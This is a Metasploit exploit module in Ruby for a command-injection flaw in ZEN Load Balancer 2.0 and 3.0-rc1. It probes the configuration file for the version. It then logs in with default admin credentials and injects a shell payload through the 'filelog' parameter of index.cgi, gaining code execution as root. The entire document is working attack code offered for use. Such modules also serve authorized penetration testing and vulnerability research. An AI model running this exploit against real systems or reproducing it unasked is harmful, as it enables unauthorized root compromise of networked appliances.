ZEN Load Balancer Filelog Command Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "ZEN Load Balancer Filelog Command Execution",
            'Description'    => %q{
                This module exploits a vulnerability in ZEN Load Balancer
                version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
                to execute arbitrary code under the context of the 'root' user.
                The 'content2-2.cgi' file uses user controlled data from the 'filelog'
                parameter within backticks.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
                ],
            'References'     =>
                [
                    ['OSVDB', '85654'],
                    ['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
                ],
            'DefaultOptions'  =>
                {
                    'ExitFunction' => 'none'
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'BadChars'    => "\x00",
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic netcat-e perl bash',
                        }
                },
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'Privileged'     => true,
            'DisclosureDate' => "Sep 14 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(444),
                OptBool.new('SSL', [true, 'Use SSL', true]),
                OptString.new('USERNAME', [true, 'The username for the application', 'admin']),
                OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])
            ], self.class)
    end

    def check

        @peer = "#{rhost}:#{rport}"

        # retrieve software version from config file
        print_status("#{@peer} - Sending check")
        begin
            res = send_request_cgi({
                'uri' => '/config/global.conf'
            })

            if    res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
                return Exploit::CheckCode::Appears
            elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
                return Exploit::CheckCode::Detected
            end

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            print_error("#{@peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def exploit

        @peer = "#{rhost}:#{rport}"
        user  = datastore['USERNAME']
        pass  = datastore['PASSWORD']
        auth  = Rex::Text.encode_base64("#{user}:#{pass}")
        cmd   = Rex::Text.uri_encode(";#{payload.encoded}&")
        lines = rand(100) + 1

        # send payload
        print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")
        begin
            res = send_request_cgi({
                'uri'     => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
                'headers' =>
                    {
                        'Authorization' => "Basic #{auth}"
                    }
            }, 25)
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unreachable, 'Connection failed')
        rescue
            fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
        end

        if res and res.code == 401
            fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
        end

    end

end